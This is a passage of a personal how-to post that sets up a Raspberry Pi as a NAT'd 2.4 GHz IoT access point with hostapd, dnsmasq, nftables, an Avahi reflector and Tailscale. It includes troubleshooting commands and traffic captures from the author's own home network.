    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
